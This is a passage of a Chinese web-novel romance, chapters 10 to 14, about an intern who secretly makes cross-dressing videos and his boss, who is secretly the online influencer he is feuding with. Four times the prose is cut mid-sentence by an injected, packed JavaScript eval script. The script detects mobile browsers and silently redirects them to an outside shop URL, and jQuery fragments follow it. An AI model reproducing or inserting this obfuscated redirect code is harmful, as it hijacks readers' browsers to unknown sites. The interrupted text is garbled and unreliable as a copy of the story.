造谣他的人虽然很可恨,但季然工作太忙,没时间在这种人身上耗。更重要的是如果他真的起诉对方,那他三次元信息也保不住了,简直偷鸡不成蚀把米。 还不如直接发几张律师函,让他们闭嘴就行。 这些话不好在公开场合说,季然打开私信和虎鲸私聊。 前方刚好是红绿灯,司机把车停在路口,季然转头看了眼寒深。没想到对方也在看他,季然莫名心虚起来:“老板,您有事吗?” 寒深没有回答,季然便当他没事,打开私信框和虎鲸私聊。 [上班哪有不疯的]:我看你粉丝年纪不大,有好多还是未成年,我决定给他们一个机会。起诉就不必了,发律师函让他们道歉就行。 【叮——】 车内突然响起一道提示音。 靠,他没有关提示音? 季然瞬间心跳加速,被吓得脸都被吓白了。 但是不对啊,发消息又不会有声音,而且声音来自他旁边…… 季然小心翼翼地抬起头,看见寒深正手动把音量键拨到震动。 季然:“……” 没想到寒深也玩社交软件,不过这款软件很大众,而且当初上市就是寒深做的,寒深在玩也很正常。 季然重新打开软件,发现虎鲸回复了他的消息。 [虎鲸]:一切以你的想法为准。 [上班哪有不疯的]:但小企鹅那边可能没这么好办…… [虎鲸]:这件事交给我处理。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732690|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>[上班哪有不疯的]:行吧,还有你说的赔偿,你打算怎么赔? [虎鲸]:我给你10万人民币。 季然:“……!!!” 我去,这就是有钱人解决问题的方法吗? 季然兴奋得心脏直跳,又很快警惕起来,虎鲸是真有这么大方,还是想先给钱然后告他敲诈? 之前不是没有过这样的先例。 但转念一想,这可是粉丝千万的博主,手段应该不至于这么脏吧? [上班哪有不疯的]:你认真的?你为什么要赔偿我? [虎鲸]:此事因我而起,我如果置身事外对你来说太不公平。而且我弟弟是你的粉丝,他很喜欢你的创作。我也希望你能用这笔资金,创作出更多优秀的作品。 创作优秀的作品…… 不知道的还以为他是什么艺术家,可他不过是个搞擦边的网黄而已。 季然有些脸热。 他从未想过,自己竟会收到一个陌生的网友的尊重和鼓励。 而且虎鲸原来是这种性格吗?季然好像突然有些明白,为什么那些网友会喊他Daddy了…… 但这也并不表示季然就会因此钦佩他。 有钱人的慷慨是锦上添花,并不需要他们付出多少成本,就可以为自己赢得善良的赞誉。季然要是像虎鲸一样富有,他也可以慷慨善良又大方。 [上班哪有不疯的]:你很有钱吗? [虎鲸]:还行。 [上班哪有不疯的]:那我要20万。 [虎鲸]:可以,请给我收款账号。 季然握着手机,一时间没有回复。 对虎鲸这样的富二代来说,20万或许只是零花钱,但对季然来说却是一个天大的诱惑。 20万,这是季然父母2-3年的收入,也可能是他将来工作一年的工资,甚至足够把两个季然从出生供到大学毕业。 更直白点儿说,有了这20万,他就可以换一个带主卧的房间,不用每次洗完女装都那么小心翼翼,他也可以更换老旧的电脑,购买一台专业相机,甚至是买下平日里舍不得买的贵价裙子…… 就如虎鲸所言,他可以用这笔资金创作出更多优秀的作品。 虎鲸甚至贴心地给他找了一个如此冠冕堂皇的理由。 可他凭什么?他配吗? 车速渐缓,黑色轿车停在丰盛大楼楼下。 “虎鲸”私信框里多了一个小红点儿,寒深终于收到了回复的消息。 [上班哪有不疯的]:感谢您的慷慨,如果您愿意补偿我,那请以“上班哪有不疯的全体粉丝”名义,向免费午餐基金捐款20万元,助力乡村儿童健康成长。 11. 第 11 章 寒深没下车,季然也不敢擅自行动,他抬头看了眼司机,后者表情和他同样疑惑。 直到寒深喊了声他名字,季然瞬间坐直了身体:“您有什么吩咐?” 寒深却不说话,只是安静地注视着他。 季然今天穿了件黑色羽绒服,很干净、没有任何污渍,但蓬松度已经不太够,能看出已经经过多次清洗,保暖程度大打折扣。 到了室内,他会脱下羽绒服,露出里面的衬衫和西装。 他身体瘦而薄,后颈凸起的颈椎骨上有一粒淡红色小痣。 寒深又想起了“上班哪有不疯的”视频中,一位网友的留言: [那个地方竟然有痣!也太涩了吧!!!这不跟omega的腺体一个位置吗??要是攻从这里咬下去……斯,不敢想象会有多香。] 季然他知道自己这个地方有痣吗? 还是说只是巧合? 但季然在他面前一直乖巧又听话,工作态度也很端正,不像是上班哪有不疯的这种性格。 寒深问季然:“你最近工作压力大吗?” 老板怎么突然要和他谈心了?难道自己最近工作出现了什么失误? 季然心中警惕,脸上却看不出什么破绽:“还可以吧。” 寒深又说:“有问题可以向我反馈。” 季然:“好的,如果有问题我会说的。” 太乖了,寒深又有些不确定了。 他想,季然应该不是网上那个人。 果然只是说说而已,当寒深表情重新归冷淡后,季然更加确定了这一点。 这些人都喜欢装出一副亲切的样子关心他,然而当他真正暴露弱点,说出自己的困扰时,他们又会反过来用他的弱点攻击他。说这样还不是因为你不够懂事,不够努力,不够坚强。 手长冻疮是因为你调皮爱玩水,而不是因为他只能穿一层薄薄的棉袄。 和别人打架是因为你自己好斗,而不是因为校长的孩子先打他。 工作压力太大是因为你不努力,而不是上司安排了太多任务。 说不说又有什么区别?都是一样的。 季然背着沉重的笔记本电脑回到工位,现在已经快到下班时间,可他还有许多工作要完成。 刚打开电脑,手机又响了起来。虎鲸发来一张基金会证书,表示捐赠已完成。 季然也发了一条公开消息,告诉粉丝这件事已经解决,又呼吁大家以后不要再嗑他和虎鲸的CP,也别嗑他和别人的CP。 粉丝一片哀嚎,但还是乖乖说了好。 第二天,季然哈欠连天坐在工位里上坟,当他困的不行时,又闻到了一股熟悉的香味。 季然精神一振抬起头,发现是寒深路过了他的工位。 又是这股香水味道,季然端着杯子去茶水间泡咖啡,听见了秘书在闲聊。 “哎,你发现了吗?老板换香水了。” “知道啊,就是那款渣男香嘛,这种街香不像是他的品味。” “我倒是挺喜欢的,我家里就有一瓶。” “我也不讨厌,我只是觉得,Samuel应该更适合那些小众沙龙香。” “这倒是,他用香水一直很克制,也很有品味,不知道这次怎么突然换了。” “不会是女朋友送的吧?之前看他朋友圈晒了照片……” 季然推门进去,打断了二人的谈话。 两位秘书尴尬地对视一眼,灰溜溜转身离开了。 季然把杯子放在咖啡机下面,给自己加了两个胶囊球。他实在是太困了,早上不喝咖啡连一上午都撑不过去。 光一上午季然就开了两个会,投行会议尤其多,在企业面前装孙子的会议,公司内部吵架甩锅的会议……等这些会开完,午饭时间也到了。 正餐时间食堂要排队,季然打算提前十分钟去吃饭,不料回来时遇到Asher,对方接了个电话,神色匆忙地询问他是否有空。 季然说有。 “那你去Samuel办公室把桌上的那份资料送到A101会议室,”Asher收起手机说,“客户到了,我现在下楼接人了。” 季然只得先去一趟办公室,寒深办公室不大,但设计收拾得非常整洁,桌面上只放了一份装订成册的资料。 季然拿起资料离开,却被桌上的一瓶香水吸引了注意力。 长方体透明玻璃瓶,浅琥珀色液体……竟和他圣诞节买的交换礼物一模一样。 难道是寒深抽到了他的礼物?所以最近才换了香水? 季然有些不确定。 这款香水是他做功课后在网上下的单,并不知道闻起来是什么样。季然有些好奇地拧开喷口,浓烈辛辣的香味倾泻而出,很快就转化成为沉稳而宽厚,和寒深身上的味道一模一样。 季然有些后悔礼物选这款香水了,他太喜欢这个味道了。 不知从什么时候起,季然逐渐喜欢上了香水的味道。 或许是至今还不习惯沪市的食物和方言,亦或只想在繁重的工作中找到一点儿呼吸空间,季然希望有什么东西能够支撑他。 咖啡只能短暂提神,裙子只能躲在卧室里穿,而季然需要的是一种可以一直陪伴他,支撑他,给他带来温暖的东西。 于是香水成了一个很好的选择。 不管他去到哪里,只要把香水喷在衣服上,味道就会形成一道独特的屏障,支撑他,包容温暖他。 季然把香水当做交换礼物,希望能帮助和他有同样感受的人。 却没想到竟然是寒深抽到了,而且他还在用。 他总不可能和老板撞香吧? 季然无端有些烦躁,早知道当时就换一款香水了。 他拿着资料去会议室,寒深不在,季然把东西交给股票部门的助理就离开了。 这款香水留香时间很长,季然光是碰了下瓶盖,过了两个小时指间都还残留着味道。 这股香气很淡,不会被别人发现,只有把手指凑到鼻前,才能闻到一丝淡淡的气息,就像一片广袤的大地。 敲击键盘的声音停下,季然再次把食指伸到鼻尖。 味道已经很淡了,再过不久应该就会完全消散,季然有些遗憾地放下手。鼻间的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732691|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味却突然浓郁起来,紧接着他头顶落下一片阴影。季然抬起头,发现寒深不知什么时候过来了。 他似乎刚从室外回来,身上的大衣还没来得及脱,就走到季然身边说,上午递交的策划有个地方要修改。 季然打开文档记录:“要改什么?” 寒深却直接俯下身,垂眸看向他屏幕:“继续往下。” 距离太近,香水的味道更浓了,就仿佛一个无形的怀抱拥抱着他。 季然莫名有些脸热,有些不合时宜的,想起之前看过的一条香评—— 这款香水给人的感觉,就像是那种喜欢极限运动,能带你环游世界,也会西装配大衣,耐心给你指导工作的成熟男人。 形容太具体了,季然几乎一瞬间就联想到了寒深。 “Julian,”办公桌被人轻敲两下,男人淡而沉的嗓音在他耳边响起,“保持专注。” 季然一怔,兀地羞红了脸。 他有些慌乱地看向电脑,问寒深:“是这里吗?” 却不料屏幕里只剩下一片白,电脑竟然死机了……! 寒深显然没见过这种穷酸场面,他电子设备都是最顶尖的,性能高设计也简练,桌面连根电线都没有。 季然这台电脑不仅厚重,而且还插着鼠标和充电线,笨拙得像是上个世纪的产物。 寒深问季然:“你电脑怎么了?” “卡了,”季然熟练地关掉多余的网页和程序,淡定表示,“等会儿就好了。” 这次电脑哥很给面子,只卡了他半分钟。 季然按照寒深的吩咐修改,确认无误后,把文档发了过去。 电脑太卡,季然工作效率大打折扣,只能一边刷手机一边等刷新。 他又登了一次社交软件,本以为之前那件事已经尘埃落定,没想到评论区又炸了。 不过这次不是骂他的,评论区全都在疯狂啊啊啊啊啊。 这又怎么了?季然看得一头雾水,在评论区回了个问号。 网友:!!! [傻孩子!虎鲸大大关注了你!!!] 季然:“……?” 季然点开粉丝列表,发现虎鲸账号大大咧咧地躺在前排,粉丝数量1786万。 不是,哥你干嘛呢? 还知不知道要划清界限? 网友反应异常激烈: [你们两都搞在一起了,现在又告诉我们别嗑CP???] [好好好,不让我们嗑CP,因为你们要自己产粮了是吧?] [我天,难道我要见证爱情了吗?!] 评论发酵得太离谱,季然删了一大堆,点开虎鲸私信框。 [上班哪有不疯的]:?你搞什么? [虎鲸]:抱歉,如果给你带来困扰我向你道歉。但我弟弟是你粉丝,我需要对他接收的信息负责。 [上班哪有不疯的]:???那你关注我干嘛? [虎鲸]:如果你视频尺度太大,我会考虑说服他取关你。 季然:“……” 这人有病吧,管天管地还管到他头上了? 12. 第 12 章 季然直接不搭理他了,但未成年看他确实不太好,季然翻出上一条笔记,又补充:另外,未成年人不许关注我!!! 网友反馈迅速: [好的主人。] [我保证听话,您说什么就是什么。] [收到宝宝,我早就成年啦!!] 点开评论区一看,笔记是:啊啊啊啊啊今年寒假又要补课!真的好烦! 季然:“…………” 虽然知道他粉丝群体普遍年轻,但季然没想到还有这么多未成年。一想到还有小朋友在课余时间看他视频,季然就莫名变得拘谨起来,擦边都不敢擦得太用力了。 再加上最近他也拍够了换装视频,季然试图尝试一些别的东西。 多方考虑后,季然打算做一期腿环测评,虽然都是擦边,但他这次希望提供一些有用的信息。 季然选了几款经典的腿环下单,经历了第一次的快递乌龙后,季然再也不敢把这类东西寄公司了。他写了出租屋地址,让快递员优先放在快递柜,今天没位置就明天再投递。 但是收快递时发生了一点儿小意外,一个快递员未经他同意把快递放在了他家门口。 季然下班回来在门口看到快递,整个人都懵了。还好他这次买的不是女装,留的也是假名,就算室友看见,也不会想到他在拍女装视频……吧? 季然偷偷摸摸把快递拿进房间,他想给快递员差评,但又怕被报复,最终还是忍住了,决定以后快递只留小区地址。 周末又是加班,直到下周一季然才终于调休,开始拍摄视频。 他计划得很好,上午拍半天视频,下午剪辑,晚上还能写论文和打游戏。却没想到拍摄时遇到各种突发状况,花的时间比他想象中要多得多。 在拍第一条皮腿环时就出了问题,店家预留的孔位太少了,季然腿又细,必须系到大腿根才能完全挂住。 可位置太靠上,普通裙子都露不出来,季然只得换上一条低腰短裤。 长度倒是适合了,但是舒适度大打折扣,穿上又勒又紧。而且这是女士短裤,没有为小季然预留出一点儿空间,季然每走一步都感觉自己在遭受酷刑,甚至还有走光的风险。 和季然营养不良发育迟缓一样,小季然也并不是特别的显著。虽然在正常范围内,但距离网络上的傲人尺寸还有很大的距离。 在青春期产生性别差异后,季然就很讨厌自己身上这个东西。他认为这代表了某种粗俗、肮脏的记忆,还有他渴望逃离的曾经。 季然初中读的是镇上的一所普通中学,不少同学和他一样是留守儿童,大部分男生都早早就谈恋爱,并不重视学习。没谈恋爱的男生,也会躲在宿舍偷看违禁视频,讨论班上的女生。 很长一段时间里,卧室里都充满了难闻的气味,地上也都是脏兮兮的卫生纸。 季然很讨厌这个地方。 他当时还不知道自己讨厌的原因,只是本能地感到厌恶。直到后来他考上了市里的重点高中,他看见城里那些被父母好好规划未来的孩子,这才恍然大悟,那是他对于下陷的恐惧。 无数个迷茫的深夜,季然都会一遍遍告诫自己:你和那些人不一样,你不能像他们一样堕落,你要去更远的地方。 然后他上了重点高中,重点大学,拿到了一份几乎是行业顶尖的工作……从某种程度上来说,他确实走出了青春期的噩梦,可似乎又被困进了新的牢笼。 初中同学在宿舍里看黄片,他现在躲在房间里搞擦边,本质上似乎并没有什么不同。 季然没有低沉太久,就把小季然藏在裤子里,认认真真地拍了一条展示视频。 他拍完视频,正准备换下裤子,门外突然传来一阵敲门声。 “Hello季然,你在家吗?”是住他隔壁的室友。 季然身体僵了一瞬,他迅速扯了条运动裤套在外面,这才若无其事道:“什么事?” “可以开门吗?”男生问他,“隔着门说不太清楚。” 季然本就和室友不熟悉,再加上他床上摆了一堆腿环,衣柜里大喇喇挂着女装,当然不可能听话开门。 季然假装打了个哈欠,说:“我懒得下床,你就这样说吧。” 对方静默了一瞬,这才说:“我炒菜没油了,能借一下你的吗?” 季然:“我不做饭,我也没有。” 对方“哦”了一声,脚步声逐渐远去,似乎是离开了。 季然爬起来检查了一遍门栓,确定反锁了终于放下心来。 应该没被室友发现吧? 他拍视频一直很警惕,那些女装也是手洗后晾在自己房间里,从来没出现在公共区域过。 他虽然戴口罩,但有些视频偶尔会露出眼睛,难道是这样被人认出来了? 应该不可能,他发视频连定位都关了,就算刷到他的视频,城市有几千万人,不可能这么巧就怀疑他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732692|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能真的只是恰好借东西。 虽然被认出来的可能性不高,但这也让季然多分戒备,只戴口罩还是有些不保险,他又下单了帽子和墨镜,打算把整张脸彻底遮严实。 至于手里的这个视频…… 季然来不及等墨镜送到,干脆用圣诞节买的礼物丝带捂住了眼睛。 半透明的丝带在阳光下能透一些光,勉强能看清环境。 季然就这样测评了好几条腿环,说实话,季然对这个效果并不是太满意。腿环的精髓就是那一圈被勒出来的软肉,但是季然太瘦了,腿上几乎没有软肉,只有用力勒才能勒出一点点痕迹。 为了让大腿看起来更有肉感,季然在拍摄前几天都在努力进食,可惜并没有如愿让自己胖起来。 最后一条测评的是腿链,价格不贵,季然金色银色各买了一条。和一般的腿环设计不同,这两条腿链不是捆的,而是要系在腰上。 操作有些复杂,季然花了好大的力气才弄明白怎么穿。他刚拍完最后一个镜头,正准备解下腿链,手机突然响起,寒深的电话打了过来。 季然:“……” 已经开始骂脏话了。 “老板?”季然接通电话,很有礼貌地问,“您找我有事吗?” 没事找我,没事找我,求求了千万别有事! 寒深:“准备一下,等会儿和我参加一个会议。” 季然:“……” 他就知道,许愿永远都是好的不灵坏的灵。 季然心如死灰:“什么时候?” 寒深:“现在。” 季然:??? “我还有五分钟到你家楼下,”寒深说,“你准备好了直接下来。” 季然:“……” 靠靠靠,他是犯了什么天条吗?好不容易才休息一天,竟然还能被领导亲自上门抓去干活儿。 而且这也太突然了吧? 季然骂骂咧咧一顿控诉,打开手机才发现寒深半个小时就联系了他,但他一直拍视频,没来得及看消息。 季然:“……” 虽然如此,但错的还是寒深! 不过骂归骂,但季然却不敢耽搁。他迅速把床上的衣服和腿环塞进衣柜,又急匆匆穿上西装,背着沉重的电脑出门。 直到等电梯时大腿传来一阵酸麻,季然伸手挠了挠,然后人傻了。 靠,他刚才走得太急,忘记取腿链了。 13. 第 13 章 他只是搞擦边而已,又不是真的变态,正经人谁会戴着腿链去上班啊! 季然转身打开防盗门,却看见他室友站在他门口,见他进来,一脸淡定地抬起头:“怎么又回来了?东西忘带了?” 他知道自己要出门?他为什么出现在自己门口? 季然有些警惕:“你怎么在我门口?” 室友随口道:“路过。” 季然看了他一眼,没吭声。 “要进去吗?”室友又说,“我让你。” “不了。”季然转身走出大门,室友眼神怪怪的,看得他有些不舒服。 季然是通过中介租的单间,对室友了解并不多,仅知道名字和工作。他隔壁室友好像是个调酒师,每天昼伏夜出,之前基本没碰过面。 至于腿链,在外面找机会再取吧,反正现在是冬天,外套一挡根本看不出来。 寒深的车停在小区门口,他今天穿了套深灰色西装,西装衣袖下露出一厘米白衬衫,有一种冷淡严肃的气息。 季然喜欢这种秩序感,会让他感到安全。 寒深虽然是个黑心老板,但至少不是什么奇怪的人。 季然放下书包坐下,但他有一点不明白,季然问:“您怎么在我家楼下?” 寒深:“从机场过来,顺路。” 这是个挑不出问题的理由,季然“哦”了一声,没再说话。 黑色轿车汇入主路,过了一会儿,季然又问:“那我们去哪儿?” “参加一个竞标会,”寒深说完,发了一份企业资料给他,“路上把标书和项目建议书看了。” 季然之前没怎么接触这个,有些好奇地打开了文档。 轿车沿着主路往前,传来很轻微的颠簸感。平日里这种颠簸造成的影响微乎其微,但现在季然腿上还绑着腿链,金属链子随着轿车的颠簸开始往大腿根滑,勒得他大腿一阵发疼。 而且因为是坐姿,腿链的形状也有些明显,季然西装裤下出现了几道明显的凸起。但凡稍微有点儿经验,也能猜到下面的东西不太正经。 季然尴尬得耳朵都红了,连忙拉扯西装想要遮挡。可西装是开叉的,遮前面就遮不住旁边,绝望的季然只得打开电脑放在膝盖上,以此祈求能遮住寒深的视线。 这台电脑电池老化,不插电根本用不了多久,季然在车厢内看了一圈,没看见插孔。 他不太敢问寒深,季然调低笔记本电脑亮度,艰难地阅读起来。 厚重的电脑遮挡了腿链的痕迹,可老式电脑又很重,他腿本就被勒得难受,再被重物一压,没一会儿就开始发麻。 可他又不能把电脑丢了,季然只得轮流更换双腿受力点,一会儿是左腿,一会儿是右腿,左腿,右腿,左腿,右…… “Julian,”一道沉而冷的声音落下,“保持安静。” 季然动作一滞,瞬间安静如鸡。 寒深继续核查项目资料,大约五分钟后,他听见男生有些崩溃的声音响起—— “Samuel……我腿麻了,可以申请动一下吗?” 寒深有些头疼地停下了工作。 负责的IPO项目到了申报环节,寒深是项目负责人,正在对材料进行最后把关。 政策调整原因,近期IPO注册阶段性收紧,发行审核更加严格,且不乏一些企业遭到撤回。虽然还可以再次申报,但申报时间需要6个月后,这对券商和企业都是重大打击。 整体环境收紧下,企业对券商的选择就更加保守,只愿意和头部顶尖机构合作,有不少企业甚至直接点名让寒深当负责人。 寒深能力有口皆碑,但他只有一个脑袋两只手,就算工作效率再高,也无法同时处理所有项目。 目前他正在尝试放权,把一些相对简单的项目交给高级副总裁和执行总经理,但人才的培养并非一朝一夕,现在大部分项目依旧要经过他的手。 送报申请材料前一周,是寒深最忙的时候。下属们自称核查了多遍的最终版材料,寒深却依旧能找出无数问题。 当然,并非所有问题都需要改正,只要不影响通过审核,一些表述问题可以适当放宽,核心的地方表达清楚就够了。 丰盛员工认为他是个完美主义者,Asher也时不时用这样的话打趣他,但寒深并不觉得自己是,他只是要求相对较高而已。 他确实有一定程度的控制欲,但当寒深带领第一个团队后就明白,社会和人都无法100%按照他的期望运转,他不能把对自己的要求强加在别人身上。哪怕丰盛员工已经相当优秀,他们自认为写出了一份满分招股书,但在寒深看来也最多只有80分。 没有人能完全达到他的要求,也没有人能完全依照他的命令行事。 他已经在尽量放低对下属的要求,但哪怕如此,大部分员工依旧表现得很怕他。 是的。 比如眼前这位。 男生拘谨地坐在他身旁,双手紧紧抓着衣摆,眼睛都红了,像一只瑟瑟发抖的小动物。 “Julian,”寒深看向季然,语气平静中带着一丝困惑,“在你心中我是什么会控制你行动的老板吗?” 季然:“……?” 我请问,不是你让我别动的吗? “我不知道是什么原因,让你留下了我很恐怖的印象,”寒深告诉他,“但等共事久了你就会发现,我脾气没你想象中的差,也没有那么多规矩。我虽然是你上司,但我们是平等的两个个体,你挪动自己的身体,不需要征求我的同意。” 季然有些尴尬,又有点儿无语。 明明是一件很小的事情,他只需要说同意或者不同意,偏偏要对他讲这么大一堆道理。 而且刚刚明明是寒深让他保持安静! 现在又说什么“你挪动自己的身体,不需要征求我的同意”? 好话坏话都被寒深说了,反正都是他自己的错。 或许是他抵触的表情太明显,寒深又补充:“我只是让你保持安静,并没有绑住你双手双脚。” “有什么区别吗?还不都是一个意思?”季然有些生气了,语气也没有那么尊敬,“你不让我发出声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732693|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不就是让我自己绑住手脚,动都不许动……” 等等,他在说什么? 什么自己绑住手脚?动都不许动?难道最近擦边擦太多他人都变黄了吗? 季然闹了个大脸红,干脆闭上了嘴。 寒深却问:“为什么不继续说下去?” 季然:“……” 这还让他怎么继续?再继续下去就要□□了…… “在我面前,你可以自由表达想法。”或许是季然的表情太拘谨,顿了顿,寒深又补充,“非原则性问题,我不会生气。” 季然:“什么是原则性问题?” 寒深:“等你犯了就知道了。” 季然:“……” 还说脾气不差呢,骗子。 “当当——” 电脑突然发出一声低电量提醒,然后迅速暗了下去。 完了,要充电了。 季然又看了一遍车内,还是没找到充电插头。 要问寒深吗?可老板会不会嫌他麻烦?可他刚才说他脾气还挺好,非原则性问题不会生气,借用一下充电插头,应该不算原则性问题吧? 季然看了寒深一眼,还在纠结要不要开口,对方已经先他一步说:“有话直说。” 季然终于开口:“请问车上有三角插头吗?” “有。”寒深翻开中间的扶手,露出了里面隐藏的插座。 原来就在这里,季然松了口气,连忙道:“谢谢您。” 看着右下角缓慢增长的电量,季然感觉有些不可思议。原来竟然这么简单,只需要一句话的事情,根本没必要纠结这么久。 他发现自己有些误会寒深了,仔细想想,寒深确实没生过气,就算季然在工作中犯了错,寒深也只是平静地指出问题,从来没有对他发过火。 只是寒深气场太强了,职位又比他高了许多,导致季然每次看见寒深都害怕,带着天然的畏惧。 或许真是自己误解了他,如果寒深真的性格很糟糕,那Asher和Luke也不可能在他手下工作这么久吧? 只是寒深怎么还在看他?难道他刚才做错了什么? 察觉到一旁的视线,季然又突然不确定起来。 他小心翼翼地询问:“您有什么吩咐吗?” 寒深看着季然,又垂下视线看向他腿上的电脑。 “没有。”他收回视线,低头继续工作。 从季然上车时,寒深就发现了季然身上的腿链,但他无意探究下属隐私,于是没有表态。 直到季然因为这个腿链感到不适。 寒深是个严谨而负责的领导,不会让下属的私人状态影响工作。如果是其他事情,他会直接吩咐季然怎么做,但偏偏是这么私密的腿链…… 以寒深的修养,断然做不出质问季然:你难道要戴着这个腿链作报告吗? 这一路寒深都在创造机会让季然开口,他百般暗示自己并非不近人情,如果季然主动提及,他必定不会拒绝。 但季然没有。 寒深心想,季然果然还是怕他。 14. 第 14 章 季然看了一路的项目建议书,这次参与IPO项目的是一家酒企,体量不算太大,按理说丰盛之前都看不上这种项目。不知是不是最近行情不好,竟然也来参加这类竞标会了。 项目建议书写得很扎实,给出了市场、行业、政策分析,还有团队介绍、相关案例示范,甚至是给企业的具体方案。 后面还有一些附件,季然简单浏览了一遍大纲,没来得及细看,车就已经停在了酒店门口。季然带着资料袋下了车,袋子里装着几个牛皮纸文件袋,是盖章密封好的标书和建议书。 直到现在,季然才真切地感受到,他参加的是一个竞标会。 季然跟着寒深穿过走廊,在现场看见了不少熟悉的面孔,都是前来参加竞标的投行券商,甚至连金石投行都派人过来了。他们的一个分析师认得季然,虽然是竞争对手,但还是礼貌的打了声招呼。 季然也点点头,小步追上了前方的寒深。 丰盛在前排预留两个座位,寒深一个,另一个应该是留给参与竞标的高管,季然很自然地走到了后面。 还没来得及坐下,就听寒深喊他:“坐上来。” 季然只得折返,有些茫然地站在椅子旁边:“我坐这里?” 寒深说:“请坐。” 季然:“……” 他怀疑对方在阴阳怪气,但偏偏又找不到证据。 季然坐下,有些茫然地问:“就我们两个人吗?” 寒深“嗯”了一声,问他:“项目建议书都看了?” 季然说看了。 寒深又问:“有没有哪里不理解的?” 建议书内容丰富,但整体来看比较基础,季然摇头:“应该没有。” “好,”寒深告诉他,“准备一下,等会儿你上台宣讲。” 他去宣讲? 季然第一反应是怀疑自己听错了,难以置信道:“您没有开玩笑吗?” “建议书不是看完了吗?也没有不理解的地方,”寒深似乎不觉得这是多么困难的事情,语气平静道,“轮到你时,你根据理解如实说就行。” “不是,”季然脑子有些乱,“为什么要我去?” 寒深:“原本负责竞标的Amanda临时有事。” 他要问的根本就不是这个问题! 季然开始陷入焦急,他不明白寒深为什么要叫他上台,他还只是个实习生,竞标会这么重要的事情,怎么能让他去?而且他口才本来就不突出,从来没在这种场合发言,万一他失败了……他根本负不了责! “可我之前从来没做过这种事,”季然摇头,声音紧绷起来,“不行,我肯定做不好……” 寒深:“不试试怎么知道?” “我不行的,”季然快要崩溃了,“我根本负责不了这么重要的项目。” 寒深好奇地看了他一眼,说:“你是我下属,自然是我替你负责。” 寒深能替他负什么责?如果他丢了项目,还不是要处罚他,他说不定还会被辞退…… 亏他来的路上还觉得寒深性格不差,哪里不差了,简直要讨厌死了,季然就没见过他这么讨厌的人! 季然有一百个不愿意,可寒深似乎已经下定决心,当兰亭酒业的人过来和寒深打招呼,寒深直接推了季然后背一把,又说:“感谢各位对丰盛的信任,这次竞标会是我的直系下属负责。” 企业方的人也是个人精,听寒深这么说,立刻跟着附和道:“年纪轻轻就能让寒总如此重视,想必能力不凡,期待季总的高见。” 季然挤出个僵硬的笑和对方握手,人已经要疯了。 他脑子里不停地闪过一段段文字和图标,丰盛的优势,兰亭酒业的基本情况,现场竞争对手的优缺点…… 其实他也并非社恐得完全无法演讲,他只是容易紧张,每次登台发言都需要提前在心里排练许多次。如果提前给他几天时间准备,甚至只是提前一天告诉他,季然都觉得自己会处理得更好。 可这次时间太短了,从他接触项目建议书到现在,也只不过是短短一个多小时。更别提临到会议开始前,寒深才告诉他要上台。 季然很不喜欢这种突发状况。 他是个绝对的J人,每一件事都习惯先打框架,然后再作出行动。 突发状况会让他陷入混乱,尤其这次寒深还让他做的是最不擅长的事情。 突然接到通知10分钟后要在公开场合演讲,世上没有比这更可怕的事情了,尤其是他的演讲还关系到一个八、九位数的上市项目。 但凡有任何一丁点儿其他选择,季然都会起身离开。 但离开后他又能去哪里?季然甚至不敢表现出崩溃,他强行收拾心情,顶着双倍压力开始准备工作。 这次参与竞标会的券商很多,相对来说,留给每家券商的时间就比较短,季然刚回忆完第一遍PPT的内容,然后就轮到他上台了。 季然深吸一口气,在寒深注视的目光中起身,打开提前拷贝在演示电脑上的PPT。 明明是很短的几秒钟,季然却觉得这一幕无比漫长。周围陷入了绝对的安静,只剩下他点击鼠标的咔咔声。 哪怕他现在低着头,季然都能感受到落在他身上的一道道目光。 好奇,怀疑,探究…… 季然打开PPT,开始了自己的讲述。 虽然很紧张,压力也很大,但季然还是强迫自己完成了任务,没有出现忘词、停顿以及其他差错。 可上一个做陈述的是金石投行的唐骏,他是投行常见的那种全能型人才,社交能力就可见一斑。 